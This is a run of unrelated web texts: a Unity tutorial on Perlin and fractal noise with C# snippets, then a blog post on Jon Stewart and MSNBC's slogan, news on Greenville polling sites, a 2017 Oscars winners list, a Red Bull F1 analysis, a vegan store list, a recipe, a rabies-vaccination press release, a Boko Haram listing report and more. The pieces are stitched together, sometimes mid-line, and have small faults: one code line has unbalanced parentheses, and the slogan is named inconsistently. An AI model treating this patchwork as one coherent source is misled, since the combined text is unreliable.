Because we are using different gradients for 3D than for 2D, the two noise patterns appear slightly different when viewed along the z axis. While the 3D gradients are all the same length when taking all their dimensions into account, when you ignore one dimension this is no longer true.
3D Perlin noise, moving to the next z coordinate in the lattice grid.
Of course 3D Perlin noise makes the most sense when animating 2D patterns or when really working with three dimensions.
1D, 2D, and 3D Perlin noise with rotation (45,45,0).
Making Fractal Noise
Because our noise is based on a lattice, its features – though seemingly random – are all the same size. However, many things have both larger and smaller features. Think clouds, mountains, coastlines, and many plants. As you zoom in, you will discover more and more detail. Often, the details look similar to the larger shape, like a branch on a tree is could look like a smaller tree itself, with even smaller braches. These self-similar shapes are known as fractals. Our noise patterns don't have this property, but we can make a limited version of it by combining samples at different frequencies. For example, adding frequency 8 and frequency 16 together. Here the frequency 16 samples represent the details, so they should be less pronounced than the larger features. Because the frequency is doubled, it makes sense to half its strength. Of couse we can go a step further, and also add a frequency 32 sample at quarter strength, and so on. Such a summation of noise frequencies is known as 1/f noise, or fractal noise, or fractional noise, pink noise, and some other names. Let's add a Sum method to Noise that combines two samples, the second at double frequency and half strength or amplitude. We can give it a parameter to determine which method to use, so we don't need to create a separate summation method for all our noise types and dimensions.
public static float Sum (NoiseMethod method, Vector3 point, float frequency) { return method(point, frequency) + method(point * 2f, frequency * 2f) * 0.5f; }
Now TextureCreator.FillTexture can pass its noise method to Sum instead of calling it directly.
Vector3 point = Vector3.Lerp(point0, point1, (x + 0.5f) * stepSize); float sample = Noise. Sum( method, point, frequency); if (type!= NoiseMethodType.Value) { sample = sample * 0.5f + 0.5f; } texture.SetPixel(x, y, Color.white * sample);
2D Value noise at frequency 4 and 8, separate and summed with 8 at half strength.
Of course the range of this summation is 0–1.5, or -1.5–1.5 when using Perlin noise, so to get a normalized result we have to divide by 1.5.
return ( (method(point, frequency) + method(point * 2f, frequency * 2f) * 0.5f) / 1.5f ;
Normalized sum, for Value and Perlin noise.
Of course we don't always want to sum exactly two samples, so let's make configurable how many samples, or octaves, we want to include. Because each successive octave will be smaller than the previous, at some point adding more octaves won't visibly change the image any more. Besides that, more samples require more computation time, so this also limits how many octaves are practical. Let's add an octaves setting to TextureCreator and give it a range from one to eight.
public float frequency = 1f; [Range(1, 8)] public int octaves = 1; [Range(1, 3)] public int dimensions = 3;
Then pass it to Sum in FillTexture.
Adding a slider for octaves.
float sample = Noise.Sum(method, point, frequency, octaves );
Noise.Sum now has to accumulate all the octaves, at each step increasing the frequency, halving the amplitude, and keeping track of the total range for nomalization. Because it is pointless to ask for zero octaves, let's always compute the first, then loop through the others.
public static float Sum (NoiseMethod method, Vector3 point, float frequency, int octaves ) { float sum = method(point, frequency); float amplitude = 1f; float range = 1f; for (int o = 1; o < octaves; o++) { frequency *= 2f; amplitude *= 0.5f; range += amplitude; sum += method(point, frequency) * amplitude; } return sum / range; }
Value and Perlin noise with base frequency 3, from one to five octaves.
It is not required that the frequency is exactly doubled each octave, neither does the amplitude need to be exactly halved. The factor by which the frequency changes is often known as the lacunarity, while the amplitude factor is often named persistence or gain. Let's add these options to TextureCreator with reasonable ranges.
public float frequency = 1f; [Range(1, 8)] public int octaves = 1; [Range(1f, 4f)] public float lacunarity = 2f; [Range(0f, 1f)] public float persistence = 0.5f;
Lacunarity and persistence with typical values.
Of course we need to pass them to the Sum method.
float sample = Noise.Sum(method, point, frequency, octaves, lacunarity, persistence );
And Sum itself has to use them instead of contant values.
public static float Sum ( NoiseMethod method, Vector3 point, float frequency, int octaves, float lacunarity, float persistence ) { float sum = method(point, frequency); float amplitude = 1f; float range = 1f; for (int o = 1; o < octaves; o++) { frequency *= lacunarity ; amplitude *= persistence ; range += amplitude; sum += method(point, frequency) * amplitude; } return sum / range; }
Two octaves of Perlin noise with base frequency 8, using lacunarity 2, 3, and 4.
Three octaves of Perlin noise with base frequency 8, using persistence ½, ¾, and 1.
You might have noticed that when changing the frequency or the lacunarity, it looks like you're zooming from the center of the image. This happens when the quad is placed at the origin. Because everything is relative to that point, the same features of successive octaves will overlap, producing lines or cones that are obviously not random. This is a problem in all dimensions. To avoid these artifacts, move away from the origin.
Rotated summed 3D Value noise, positioned at (0,0,0) and at (1,2,3).
So far we've converted the noise values to grayscale colors, but we need not limit ourselves to that. To allow more interesting color transitions, let's wrap up TextureCreator by adding a gradient to it.
public Gradient coloring;
If you let the gradient go from black to white, you'll get the same result as before. So design something else instead. As an example, I put a narrow black region in the middle, made the lower half white–blue, and the upper half yellow–red. This will divide the patterns into two parts.
A gradient.
To actually show the colors, instead of multiplying our noise samples with a constant white color, we use them to evaluate the gradient in FillTexture.
texture.SetPixel(x, y, coloring.Evaluate( sample ) );
Colored 2D and 3D Value noise, one octave with frequency 16, and six octaves with base frequency 3.
Colored 2D and 3D Perlin noise, one octave with frequency 16, and six octaves with base frequency 3.
Of course you can create many different results with other gradients, especially once you start playing with lacunarity and persistence as well. Have fun experimenting with noise settings, or immediately move on to Noise Derivatives. Enjoyed the tutorial? Help me make more by becoming a patron!
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On The Daily Show last night Jon Stewart, he of the supposed liberal media bias, took square aim at the supposedly liberal cable news network MSNBC for their terrible new slogan and ad campaign titled Move Forward. Stewart said, “It’s like when Nike came out with Just Do It, and Reebok answered with For Where Your Pants End. It’s just lame.”
Here is the video via The Daily Show:
Stewart started a very non-Fox biased, “You have noticed that we talk a lot about the Fox News network on this show for two reasons. First, they’re terrible, terrible. Second, they’re the best. In cable news, Fox kicks everyone’s ass, higher ratings, stronger personalities, and most important a clear sense of purpose with a brand that everyone knows Fair and Balanced. The network’s essence distilled into a single phrase clearly conveying the message, your source for hyper partisan horseshit. Great branding, way better than CNN’s, “If you’re watching this, your flights been canceled.”
Stewart then discussed MSNBC’s new campaign. After playing one of the nonsensical clips in the campaign, he continued, “Well, maybe the print ads will help us understand this. Oh, there’s Rachel Maddow leaning forward, I guess, apparently having dropped something, and there’s Keith Olbermann leaning backwards. Is it really this hard? Is it? I don’t think I’m understanding. That’s what you’re bringing against Fox? Yeah, good luck. It’s like when Nike came out with Just Do It, and Reebok answered with For Where Your Pants End. It’s just lame.”
He said it would be a bad sign if your network president had to put out a video explaining the campaign then he played a video of MSNBC President Phil Griffin having to explain what the hell Lean Forward is really about America always changing for the better. Stewart added, “Yeah, America changing for the better. By the way is that CNN on the background? I guess you were at the airport. By the way, is that what MSNBC is all about? America always changing for the better, that’s what you’re promoting on your network. Have you told your staff that? He then played a clip of virtually every MSNBC personality expressing relentless negativity about America today.
Not only is Move Forward lame, but it doesn’t explain the product at all, and it makes no sense. This is a terrible campaign, and a complete waste of money. You know MSNBC paid some expensive advertising agency to come up with this campaign and focus group it to the max, and this is the best they came up with? I would love to either meet the focus groups that gave this a resounding thumbs up, or see the other alternatives that were turned down.
I’ve come up with three other possible campaign slogans that didn’t quite make the cut:
1). MSNBC: Nothing Says Sizzle Like Andrea Mitchell
2). MSNBC: Still 100% Latino Free
3). MSNBC: It Could Always Be Worse. You Could Be Watching CNN Right Now
For all of those people on the Right who demonize Jon Stewart and his “liberal show,” I’d like them to watch this segment. Stewart doesn’t have a political agenda. He does have an agenda about media accountability, but he doesn’t have a partisan agenda. It is endless frustrating to watch and read so many of the self righteous political pundits in this country try to attach a political motive to everything that Stewart does, for example, The Rally to Restore Sanity, which isn’t about politics, and won’t impact the midterm elections a couple of days later, no matter how myopically the talking heads analyze it.
With their constant thrust to fit him into their predefined political narrative, the media has proven Jon Stewart’s point for him. Cable news needs to break away from the entertainment that passes as news, and try to focus on returning to its original purpose of factual reporting and news gathering. This will never happen because of how profitable the current model is. Fox News makes a mountain of profit. MSNBC is one of the most profitable divisions in the whole NBC family. Even CNN despite their ratings struggle pulls in strong profits.
The news media has shifted from being run as a public service with a civic duty to report the news to a center for corporate profits. Jon Stewart has been the singular voice advocating for “restoring sanity” to our media. That’s what the 10/30 rally is about. It is about getting rid of lame, slick, branding, like MSNBC’s latest terrible misfire, and replacing it with programming that is informative. As Stewart himself has proven with his comedy show, it is possible to be entertaining and informative, but as long as news divisions are being run with only profit in mind, our news will continue to vanish from what are supposed to be news networks.
If you’re ready to read more from the unbossed and unbought Politicus team, sign up for our newsletter here! Email address: Leave this field empty if you're human:Kevlar Denim Motorcycle Jacket Reading time: about 1 minute. Clothing
Design
Gear
Retro
Safety
Style
Simon James Cathcart is a designer on a mission to bring what is arguably the best denim in the world (Japanese ring-spun selvedge denim) to the western world, with clothing cut to suit western bodies – which often don’t quite fit into Japanese sizes.
Simon is also an avid motorcyclist so his new collection includes both a selvedge denim jacket and jeans that have a full Schoeller® Kevlar® lining to protect against abrasions caused by having a bad day on (or off) your motorcycle.
The full collection includes both Kevlar® and non-Kevlar® denim and it’s currently on Kickstarter with funding likely to pass its threshold within a few days. If you’d like to pre-order you can click here to visit the Kickstarter page, to see the Kevlar® denim jacket you’ll need to scroll down about 4/5ths the way down the page.
Visit the Kickstarter listing here.Artist rendering of the Coral Gables' diesel bus garage designed in a Bahamian style
Circle the court date: August 16th.
Diesel bus disguised to look like an old-timey, non-polluting, trolly bus
THE DECISION IS IN! READ:
Pictured below:
Ironically that was the very same day a lawsuit was launched by residents of Coconut Grove asking for an injunction to stop the neighbouring town of Coral Gables from building its polluting government vehicle maintenance facility in their residential neighbourhood. Ironic because it allowed Sarnoff to wriggle out of answering any of hisconstituents questions, since the issue was now in front of a judge. However, that didn't stop him from presenting his Dog & Pony Show, during which I watched a masterful performance by (allegedly corrupt) Commissioner Marc D. Sarnoff.In late February I documented Coral Gable's Modern Day Colonialism and Trolleygate and in March I spoke to plaintiff's lawyer Ralf Brookes for An Update On Sarnoff's Trolleygate aka Astor's Trolley Folly. In fact, I've been the only journalist who has been covering this story on an ongoing basis. That may be why I was sent the notice of hearing for August 16, 2013, along with the pleadings from both sides in the dispute.My source tells me this hearing should decide all matters and the judge will issue a ruling one way or another. Either Coconut Grove gets stuck with a polluting government vehicle maintenance facility, or Astor Trolly LLC will have to find another location for this building; a facility promised to Coral Gables so that Astor Development (another tentacle of the same company) can develop the site of the current government vehicle maintenance facility in order to make millions of dollars for itself and Coral Gables.Neighbours opposed to the polluting diesel bus garage are calling for a protest on August 16th on the courthouse steps at 73 West Flagler Street for 9 a.m.with the hearing set to begin at 10.It will be interesting to see how the court rules. I've been told off the record by several someones-in-the-know that this building will never be used as a bus garage. That would be welcome relief to the economically poor, minority neighbourhood trying to stop it, but it then begs the question:What will happen to the building, which is almost finished?Buy Photo South Carolina Election Commission officials say they’ve taken every precaution to ensure its voter registration database won’t be compromised and that its voting machines will remain secure. (Photo: Staff / file)Buy Photo
Some Greenville County polling sites are “bulging at the seams” with a record number of registered voters in the county and officials are searching for future solutions while making plans to deal with long lines on Election Day.
The county has 10.8 percent more registered voters this election than it had in the last presidential election in 2012. This year, 317,369 people are registered, the highest of any county in the state, compared to 286,398 in 2012.
But the county has 151 polling precincts this election, the same number it had in 2012. Some of those precincts have more than double the number of voters election officials recommend, said Conway Belangia, Greenville County director of voter registration and elections.
Belangia would like to see precincts with 2,000-2,500 voters per site, but this year 35 precincts have more than 2,500 registered voters.
Eight of those sites have more than 3,000 voters registered and one – Walnut Springs in the Five Forks area of Simpsonville – has 4,425 registered voters.
“We don’t want precincts that are huge because that creates long lines,” he said. Some are “bulging at the seams,” he said.
To combat long lines this year, the county purchased driver’s license scanners for each precinct so poll workers won’t have to type voter names or information into laptops to check voter registrations, he said.
About 90 percent of registered voters in the county use driver’s licenses as their form of voter identification, he said.
“It allows us to process voters a little bit quicker but more efficiency,” he said. “The chance of human error comes down tremendously.”
The county has studied which precincts are expected to have the highest turnout and have scheduled extra poll workers and electronic voting machines for those sites, he said.
The State Election Commission doesn’t have a specific number of voters it recommends per precinct, said Chris Whitmire, SEC spokesman.
Whether a polling site can handle more voters depends on the size of the polling place and available parking and on the number of voting machines and poll managers allocated to each site, he said.
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“For example, you could have really well run, efficient polling place with 4,000 voters if you had a large gym, plenty of parking, and plenty of voting machines and managers,” he said. “However, if you had 4,000 voters in a precinct, and the polling place is a small rural fire station with only a few parking spaces, that would likely cause problems.”
After the election, Belangia said he the election board plans to redraw precinct boundaries to create an additional 25 precincts. But, he said, it’s become a challenge to find suitable locations willing to act as a polling site.
The best way to cut down on lines on Election Day would be to add early voting, something he said he has been begging the state Legislature to allow.
Early voting would allow the county to establish three or four voting centers across the county, he said. And as Greenville continues to grow, it’s going to become even more difficult to find enough polling sites on Election Day to handle the number of voters, he said.
Greenville County’s eight largest polling sites, with location and number of registered voters, are:
Walnut Springs, Clear Spring Baptist Church, 301 Bethany Road, Simpsonville: 4,425
Greenville 24, Beck Academy, 901 Woodruff Road, Greenville: 3,724
Mauldin 2, Forrester Woods Clubhouse, 424 Piney Grove Road, Greenville: 3,534
Neely Farms, Christ Community Church, 700 Harrison Bridge Road, Simpsonville: 3,323
Thornblade, Airport Baptist Church, 776 S. Batesville Road, Greer: 3,255
Mauldin 4, Mauldin United Methodist Church, 100 East Butler Road, Mauldin: 3,079
Sandy Flat, Double Springs Baptist Church, 3800 Locust Hill Road, Taylors: 3,048
Mauldin 5, Mauldin Miller Fire Station #1, 802 Miller Road, Mauldin: 3,041
Read or Share this story: http://grnol.co/2eUSxRXFilm Folk!
The 89th Academy Awards have just finished. There was quite some drama with the Best Picture award announcement (scroll down for video).
The list of Oscar winners for 2017 is as follows:
COSTUME DESIGN
Joanna Johnston, Allied
Madeline Fontaine, Jackie
Paco Delgado, La La Land
Coleen Atwood, Fantastic Beasts and Where to Find Them – WINNER!
Consolata Boyle, Florence Foster Jenkins
ORIGINAL MUSIC – SONG
La La Land – “Audition: The Fools Who Dream”
Trolls – “Can’t Stop the Feeling”
La La Land – “City of Stars” – WINNER!
Jim: The James Foley Story – “The Empty Chair”
Moana – “How Far I’ll go”
CINEMATOGRAPHY
Linus Sandgren, La La Land – WINNER!
Bradford Young, Arrival
Greg Fraser, Lion
James Laxton, Moonlight
Roger Prieto, Silence
DOCUMENTARY SHORT FILM
Extremis
4.1 Miles
Joe’s Violin
Watani: My Homeland
The White Helmets – WINNER!
DOCUMENTARY FEATURE FILM
OJ: Made in America – WINNER!
Fire at Sea
I Am Not Your Negro
Life, Animated
13th
SOUND EDITING
Sylvain Bellemare, Arrival – WINNER!
Wylie Stateman, Renee Tondelli, Deepwater Horizon
Robert Mackenzie, Andy Wright, Hacksaw Ridge
Ai-Ling Lee, Mildred Iatrou Morgan, La La Land
Alan Robert Murray, Bub Asman, Sully
SOUND MIXING
Bernard Gariepy Strobel, Claude La Haye, Arrival
Kevin O’Connell, Andy Wright, Robert Mackenzie, Peter Grace, Hacksaw Ridge – WINNER!
Andy Nelson, Ai-Ling Lee, Steve A. Morrow, La La Land
Greg P. Russell, Gary Summers, Jeffrey J. Haboush, Mac Ruth, 13 Hours: The Secret Soldiers of Benghazi
Dave Parker, Christopher Scarabosio Stuart Wilson, Rogue One: A Star Wars Story
MAKE UP AND HAIRSTYLE
Eva von Bahr, Love Larson, A Man Called Ove
Joel Harlow, Richard Alonzo, Star Trek Beyond
Alessandro Bertolazzi, Giorgio Gregorini, Christopher Nelson, Suicide Squad – WINNER!
LIVE ACTION SHORT FILM
Ennemis Interieurs
Silent Nights
La Femme et le TGV
Sing – WINNER!
Timecode
Hell or High Water Photo by Lorey Sebastian
ANIMATED SHORT FILM
Blind Vaysha
Pearl
Piper – WINNER!
Borrowed Time
Pear Cider and Cigarettes
ANIMATED FEATURE FILM
Moana
Kubo and the Two Strings
My Life as a Zucchini
The Red Turtle
Zootopia – WINNER!
ACTOR IN SUPPORTING ROLE
Mahershala Ali, Moonlight – WINNER!
Jeff Bridges, Hell or High Water
Lucas Hedges, Manchester by the Sea
Dev Patel, Lion
Michael Shannon, Nocturnal Animals
ACTRESS IN SUPPORTING ROLE
Viola Davis, Fences – WINNER!
Naomie Harris, Moonlight
Nicole Kidman, Lion
Octavia Spencer, Hidden Figures
Michelle Williams, Manchester by the Sea
EDITING
Tom Cross, La La Land
Jake Roberts, Hell or High Water
John Gilbert, Hacksaw Ridge – WINNER!
Joe Walker, Arrival
Nat Sanders and Joi McMillon, Moonlight
VISUAL EFFECTS
Deepwater Horizon
Doctor Strange
The Jungle Book – WINNER!
Kubo and the two Strings
Rogue One: A Star Wars Story
La La Land – Emma Stone and Ryan Gosling La La Land – Emma Stone and Ryan Gosling – photo courtesy of Lionsgate
PRODUCTION DESIGN
Arrival, Patric Vermette
La La Land, David Wasco – WINNER!
Hail, Caesar!, Jess Gonchor
Passengers, Guy Hendrix-Dyas
Fantastic Beasts and Where to Find Them, Stuart Craig
ADAPTED SCREENPLAY
Arrival, Eric Heisserer
Fences, August Wilson
Hidden Figures, Allison Schroeder, Theodore Melfi
Lion, Luke Davis
Moonlight, Barry Jenkins – WINNER!
ORIGINAL SCREENPLAY
Hell or High Water, Taylor Sheridan
La La Land, Damien Chazelle
The Lobster, Yorgos Lanthimos, Efthimis Filippou
Manchester by the Sea, Kenneth Lonergan – WINNER!
20th Century Women, Mike Mills
Movie star Natalie Portman in BAFTA winning film Jackie Photo: Pablo Larrains and Stephanie Branchu
ORIGINAL MUSIC – SCORE
La La Land, Justin Hurwitz – WINNER!
Moonlight, Nicholas Britell
Passengers, Thomas Newman
Lion, Dustin O’Halloran, Hauschka
Jackie, Mica Levi
FOREIGN LANGUAGE FILM
Toni Erdmann
Land of Mine
The Salesman – WINNER!
Tanna
A Man Called Ove
DIRECTING
Denis Villeneuve, Arrival
Mel Gibson, Hacksaw Ridge
Damien Chazelle, La La Land – WINNER!
Barry Jenkins, Moonlight
Kenneth Lonergan, Manchester by the Sea
La La Land – Emma Stone and Ryan Gosling La La Land – Emma Stone and Ryan Gosling – photo courtesy of Lionsgate
LEADING ACTRESS
Isabelle Huppert, Elle
Ruth Negga, Loving
Emma Stone, La La Land – WINNER!
Natalie Portman, Jackie
Meryl Streep, Florence Foster Jenkins
LEADING ACTOR
Casey Affleck, Manchester by the Sea – WINNER!
Denzel Washington, Fences
Ryan Gosling, La La Land
Andrew Garfield, Hacksaw Ridge
Viggo Mortensen, Captain Fantastic
BEST FILM
Arrival
Hacksaw Ridge
Hidden Figures
Lion
Moonlight – WINNER!
Fences
Hell or High Water
La La Land
Manchester by the Sea
Hell or High Water Photo by Lorey Sebastian
RELATED ARTICLE: Art Directors Guild Awards nominees 2017 – full list
RELATED ARTICLE: Interview with Hell or High Water editor Jake Roberts
RELATED ARTICLE: Interview with The Beatles: Eight Days a Week editor Paul Crowder
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Like this: Like Loading...Even though it has been a point of interest since the very beginning of the season, the possibility of Red Bull Racing to run such shallow rear wings and still retain great traction is something that draws much attention. The team continues to do this as it is seemingly the most efficient way for them to keep up their top speed nearby to what other cars can achieve.
Of course, at Hungary, maximum downforce is required, and there the team ran a very big rear wing, but so were all other teams essentially. It becomes interesting when we compare the RB9's high downforce configuration with the medium downforce set-up for Spa-Francorchamps. The larger images are the race configurations of the Red Bull, with on the right an inset showing the rear wing that both Red Bull drivers have used at Spa. On the left are two insets with an even lower downforce front and rear wing, as tried by both Vettel and Webber on Friday and Saturday, until opting against their use for qualifying and the race.
Comparing the Hungarian and Belgian race configuration, it is obvious the rear wing is much shallower, creating less downforce and drag. With less low speed corners and longer straights, this makes sense. However, the front wings are identical, something that might spring a surprise, as one might expect this would create considerable oversteer and overall imbalance on the car. Instead, the drivers seem to be perfectly happy, meaning that the car's balance does not seem affected.
Knowing that front wing changes can dramatically influence the airflow onto the rear of the car, it's all in Red Bull's benefit to try to keep the front as consistent as possible. Ferrari for instance are taking an entirely different route, as their changes of rear wing during FP1 and FP2 were always paired with dramatic changes in front wing flap angles.
How exactly Red Bull can actually pull this off can likely be attributed to the car's blown diffuser. It is no secret that Red Bull has the most advanced ramp style exhaust. They've been working on it the longest and have consistently been using it since its introduction.
Knowing the the exhaust gases are directed to seal the diffuser, and also seeing Red Bull's consistent high rake, it is safe to assume that the RB9 can extract more downforce from its floor than any other car can. What is most interesting for the car's balance though is that an efficient diffuser will generate downforce over the entire floor of the car and not only at the back.
To enhance this effect, the team introduced a new nose cone, which now has a higher tip and does no longer feature the pelican bulge. It is clear that this will slightly reduce front downforce and help feed more air under the floor, helping rear downforce generation. Altogether, this will help, but it still looks unlikely that a nose change like this alone can compensate such a sizeable difference of the rear wing.
It surely is an interesting concept that allows Red Bull to be sure of the car's airflow as they do not have to fiddle too much with the front wing. Exemplary to this is the extra low downforce configuration tried in practice, where an even shallower rear wing was only joined at the front with a small front wing endplate modification and a slightly smaller surface of the upper flap of the front wing.Now this package made quite a trip, Canada-USA-Hong Kong-China and Japan. Why? Because FEDEX, that's why! The package was scheduled to arrive 3 days ago, but when I called, they told me they sent it to Hong Kong by mistakes and it would take a few extra days. When the box finally arrived, it was all crushed up with a sticker "CRUSHED" on it. Thanks, guys!
Now if the gift was Anything but shirts, they would have been destroyed, but thank god, they were in perfect condition!!!
I was having a shitty day, and my birthday is next week. These shirts made my day!!!
You have to understand that The Quebec Nordiques are a defunct team and finding any items is extremely hard! My gifter sure did his homework, finding out that I was a huge fan of the Nordiques based on maybe one or two posts from 8-9 months ago? WOW
Anyway, being in Japan and receiving something from back home was awesome, I will wear these shirts with pride!
Thanks a lot Brian!Please enable Javascript to watch this video
One of the rainiest fall seasons on record, and a pretty frigid winter so far around the northwest.
But the harsh weather is not stopping an innovative new preschool that uses the great outdoors as a classroom.
Tiny Trees Preschool created a partnership with Seattle Parks, and utilizes several area parks to allow kids to explore their surrounding in trees, and on trails.
"Preschool is the perfect time for children to be learning in this natural space," said Katherine Miller, the lead teacher for a class in Camp Long in West Seattle.
All outdoor preschools may be relatively new in Seattle, but it's a concept that has been around for years in Europe, and originated in some of the coldest spots in Scandinavia.
Teachers say the cold is no real problem as long as parents remember to dress their kids in layers. The students wear thermal wear, and the school provides full body rain suits and boots. The kids seem in constant motion which also helps keep them warm.
The students may be spending their days playing out doors, but they are still learning similar lessons that they would inside a building.
"They’re learning in this
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because they have such a wide choice it would have been a shame not to.
Vegan Clothing Stores Europe
Avesu
Avesu is both an online boutique and physical boutique and they only sell shoes and accessories. You can find them in Berlin and Hamburg. They have recently put up an English version of the website, which we are very grateful for. Some brands they sell are: Will’s London, Novacas, Nae, Cosi Cosi, Ahimsa, Beyond Skin.
Roots of Compassion
This is the right place to go if you want to tell the world you’re vegan. They sell all kind of vegan “merchandise”, from t-shirts to canvas tote bags and buttons.
Muso Koroni
I’ve never heard most of the brands they sell, mostly because they source their goods from fair trade, independent, and 100% vegan companies around the world. They also have a physical store in Vienna, Austria.
Vegan Clothing Stores Australia
Love Child
This is probably the most fashion forward vegan clothing store online. Just check it out, it looks like Nasty Gal and Asos vegan child! I love it. And you will too! Love Child carries every cool ethical brand out there: Vaute Couture, Delikate Rayne, Kerol D., Miakoda, Bella M.
Vegan Style
Again, a shoes and accessories kind of boutique, in Au this time. They have an eye for classy and smart designs and they carry brands of the like of Opificio V, Good Guys, Novacas, Beyond Skin, Will’s London, Etikos, Bourgeois Boheme.
Vegan Wares
Shoes, accessories, bags, socks, dog collars, beauty products and much more for the Aussie vegan! Most of the products are their own, but they also carry other brands and a wide variety of products.
Vegan Clothing Stores Canada
Vegan Cuts
Vegan Cuts is not just a boutique: it’s a whole vegan world! They are famous for their monthly subscription boxes which I absolutely love. I have a ton of cool beauty products because of their box, I had to stop my subscription for a few months in order to finish all the products! I don’t use much make up so I don’t want it to go to waste. By the way, they also carry some pretty cool fashion brands like Pura Botanica, Djuna Shay, Compassion Couture, Pixie Mood.
Alright, we’re done for today! Leave a comment below if you have some vegan online boutiques to suggest and make sure you share this post on your social media to spread the vegan goodness around! When people see it can be easy and stylish, they will be more likely to come to our side 😉
Thank you in advance for sharing, have a nice day filled with compassion and sass!
Aaaand that’s a pinnable: mouse over the image and click on the red button on the top left to Pin it!This Cabbage Roll Casserole is probably the most popular recipe on this site – and for good reason, it’s ridiculously delicious! I’ve yet to try my hand at making traditional cabbage rolls, I have to admit I’m a little apprehensive. I do love to order them in restaurants however, and my inspiration for this dish was making them a bit more accessible and easy. While this casserole is certainly not directly related to a traditional cabbage roll, all that flavor is still there.
I get a lot of feedback about the cheese not being necessary as it is not present ever in a traditional roll, but I absolutely love what it adds to this casserole. All that zesty tangy deliciousness combined with that ooey gooey cheese really does make this one of my favorite things to eat. 🙂
There isn’t too much prep time involved – about 30 minutes, and it’s in the oven for about 45 minutes. It makes a large casserole dish worth – so it’s enough food for about 6 – 8 people.
casseroles are the best thing ever!
check out these other popular ones:
here’s a video of me making this Cabbage Roll Casserole:
The Cabbage Roll CasseroleBy Laura Lockard, WSU College of Veterinary Medicine
PULLMAN, Wash. – Working with African governments and building on international and local partnerships, Washington State University’s Paul G. Allen School for Global Animal Health is developing the next strategies for the elimination of rabies as a human health threat.
In 2017 WSU and partners in the Serengeti Health Initiative have administered approximately 50,000 vaccines in East Africa and project to provide more than 120,000 by the end of the year. Since the inception of the project in 2003, Allen School researchers have administered more than one million vaccinations.
Rabies is preventable, yet it kills nearly 60,000 people worldwide every year; half of them are children.
“Rabies is the deadliest infectious disease known to man, with a case fatality rate of 100 percent,” said Dr. Guy Palmer, a WSU Regents Professor of Pathology, Jan and Jack Creighton Endowed Chair of Global Health and senior director of Global Health at WSU. “We have the ability to eliminate human rabies deaths while simultaneously protecting pets and wildlife.”
By understanding the epidemiology of the disease Allen School researchers are developing a new approach to empower communities to participate in rabies elimination. The work of WSU researchers Dr. Felix Lankester and Dr. Thumbi Mwangi are establishing rabies-free zones that will serve as a model for other regions challenged by the disease.
Global Reach
More than 99 percent of the people infected with rabies get it from the bite of an unvaccinated dog.
WSU is diligently working with the Global Alliance for Rabies Control, World Health Organization, Centers for Disease Control and Prevention, and MSD Animal Health which supplies vaccines free of charge, as well as other international and local partners, to eliminate rabies with the goal of no human deaths by 2030.
Additionally, WSU is participating in World Rabies Day (Sept. 28), a global effort to recognize the united push to continue vaccinating as many dogs as possible and providing post-exposure treatment to bite victims to eliminate human rabies deaths.
To further build the rabies elimination program in Africa, Allen School’s Mwangi serves on Kenya’s National Rabies Elimination Coordination Committee that designs and oversees the government’s role in systematic and progressive reduction in rabies health burden toward elimination. Much of this initiative involves training health care workers to better identify, treat and report suspected rabies cases. This community-based surveillance will result in improved data quality for future interventions. Mwangi is also designing mass dog vaccination initiatives along with public awareness campaigns about rabies and the work of other partners.
Local Support
Through the Allen School’s Eliminate Rabies program, partners — including veterinary clinics around the U.S. — are aligning with the international effort because they understand the global impact of rabies and the extraordinary opportunity available to eliminate the disease in people and domestic dogs. One such partner is the Cascade Heights Veterinary Center in Seattle.
Owner, Dr. Kathleen Paulson stated, “We are excited to join the WSU Eliminate Rabies Campaign because it gives us an opportunity to help animals and humans (especially children) that are directly affected by this deadly virus. Rabies is a disease with a real possibility of elimination, and we are proud to be a part of that effort. Go Cougs!”
The Eliminate Rabies project has an initial goal to raise $10 million to catalyze its reach to other parts of Africa. Funds raised locally and globally will be used to further support a reliable vaccine bank, improve distribution and, because rabies does not respect international borders, build broader intergovernment partnerships to facilitate transboundary disease control networks.
“Logistically, we can get vaccines to the most remote parts of the world,” Palmer continued. “The Allen School is working with veterinary clinics from Seattle to Ft. Lauderdale to spread awareness and build widespread support and resources. With more resources Allen School researchers can build bigger rabies free zones reaching the people who face this risk daily. Working with our international partners and our local clinics we can eliminate this threat to human lives in our lifetime.”
A full list of veterinary clinics participating in the eliminate rabies program can be found here.
About the Eliminate Rabies project
Through the Eliminate Rabies project, $10 will vaccinate a child’s dog from rabies and distemper, another major cause of mortality in young dogs. Ask your veterinarians if they are a part of this critical program.
A gift of any amount will move the effort closer to realizing a world where no child dies from canine rabies. To help, contact Christie Cotterill, WSU College of Veterinary Medicine Assistant Development Director, at [email protected] or 206-219-2402.
Media Contact:Australia to list Nigerian militant group Boko Haram as terrorist organisation
Updated
Australia will list the Islamic militant group Boko Haram as a terrorist organisation in response to the recent kidnapping of more than 200 schoolgirls in Nigeria.
Prime Minister Tony Abbott announced the plan in Parliament today, saying the whole world was transfixed and horrified by the event.
"The organisation Boko Haram is reportedly responsible - in addition to this - for the deaths of some 300 people in north-east Nigeria in various terrorist incidents... today I announce that the Government is taking steps to commence the process of banning Boko Haram as a terrorist organisation," he said.
"In banning Boko Haram as a terrorist organisation, Australia would be acting consistently with Nigeria and also with our international partners, including the United States, the United Kingdom, Canada and New Zealand."
Opposition Leader Bill Shorten confirmed the Labor Party would support the move.
What is Boko Haram? Boko Haram, which means "Western education is sinful", is loosely modelled on the Taliban movement in Afghanistan.
The group considers all who do not follow its strict ideology as infidels, whether they are Christian or Muslim.
It demands the adoption of Sharia law in all of Nigeria. Read more
"The Labor Opposition's extremely concerned about the fate of more than 200 girls kidnapped from a boarding school in northern Nigeria in mid-April," he said.
"This is truly a horrific situation. It would be every parent's worst nightmare. The president of Nigeria has called on the international community to help do what we can to rescue these girls.
"The Opposition was advised the Government was considering making this listing immediately before Question Time today. We offer every support possible to the Abbott Government, we must do all that we can to assist."
According to the Attorney-General's Department it is an offence to be a member of a terrorist organisation, recruit other members, train members, acquire funds or provide support to an organisation listed as a terrorist group.
Anyone guilty of terrorist organisation offences can face up to 25 years imprisonment.
Currently, Australia has 18 organisations officially listed as terrorist groups. A full list of terrorist organisations can be found at the Australian National Security website.
After being accused of a sluggish response to the kidnapping, the Nigerian government has now sent thousands of troops to the region and says it is ready to talk to Boko Haram about an offer to exchange the schoolgirls for Islamic militant prisoners.
This week Boko Haram released a video showing about 130 girls wearing hijabs and chanting the Koran.
The group's leader, Abubakar Shekau, said he would not order the release of the students until the Nigerian government released all militant prisoners.
Senior Nigerian government minister Tanimu Turaki said dialogue was the preferred option, however he said when the government had tried to talk to Boko Haram before, the group had complained that they were talking to the wrong people and so the meetings failed.
The minister said the Islamists should publicly name delegates they trust, then the government would engage with them.
